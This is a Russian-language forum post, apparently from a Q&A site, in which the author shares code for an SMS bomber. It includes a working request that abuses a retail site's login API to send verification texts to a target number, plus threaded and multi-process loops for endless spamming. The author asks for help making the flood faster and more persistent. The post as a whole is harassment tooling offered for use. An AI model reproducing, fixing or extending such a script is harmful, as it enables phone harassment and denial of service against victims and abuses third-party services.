a=requests.post('https://api.sunlight.net/v3/customers/authorization/',data = {"phone":myphonenumber[1:]},headers = {'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Host':'api.sunlight.net', 'origin':'https://sunlight.net','Referer':'https://sunlight.net/profile/login/?next=/profile/'}) print("SMS было успешно отправлено", a)
На основании этого я создал программы 3-х типов:
1.
import requests i=0 while i<1: запрос запрос запрос
2.
import requests from threading import Thread def spam_1(): i=0 while i<1: запрос def spam_2(): i=0 while i<1: запрос def spam_3(): i=0 while i<1: запрос th_1, th_2, th_3 = Thread(target=spam_1), Thread(target = spam_2), Thread(target = spam_3) if __name__ == '__main__': th_1.start(), th_2.start(), th_3.start() th_1.join(), th_2.join(), th_3.join()
3.
import subprocess subprocess.Popen("1.exe") subprocess.Popen("2.exe") subprocess.Popen("3.exe") subprocess.Popen("4.exe") subprocess.Popen("5.exe") subprocess.Popen("6.exe") subprocess.Popen("7.exe") subprocess.Popen("8.exe") subprocess.Popen("9.exe") subprocess.Popen("10.exe") subprocess.Popen("11.exe") subprocess.Popen("12.exe") subprocess.Popen("13.exe") subprocess.Popen("14.exe") subprocess.Popen("15.exe") subprocess.Popen("16.exe") subprocess.Popen("17.exe") subprocess.Popen("18.exe") subprocess.Popen("19.exe") subprocess.Popen("20.exe") subprocess.Popen("21.exe") subprocess.Popen("22.exe") subprocess.Popen("23.exe")
В 3 примере кода каждый exe файл выполнял свой запрос, т.к часто в результате ошибок в запросах на сайт программа могла крашнуться, а проверять каждый запрос вручную иисусе христе как неохота. Но проблема была совсем не в этом.
При запуске любой из программ з-х типов была одна проблема. Запросы шли очень коряво, то есть с пропусками, очень часто мог идти запрос на один сервис подряд до 200 раз, в то время как SMS с других сервисов вообще не поступали. Я ожидал от программы одновременных и очень быстрых запросов на сайт, но в итоге программа спустя 10 минут почти вообще прекращала спамить. SMS идут совсем не так, как идут запросы. И это связано далеко не с кулдауном и блокировками. У меня есть сервисов 10 без кулдауна и блокировок, но после 10 SMS от одного сервиса он затухает и больше не спамит. Когда я тестирую сервис отдельно, то он может прислать до 300 смс в несколько минут. В общей программе такого нету далеко. Подскажите, как можно это фиксануть, или хоть что-то сделать…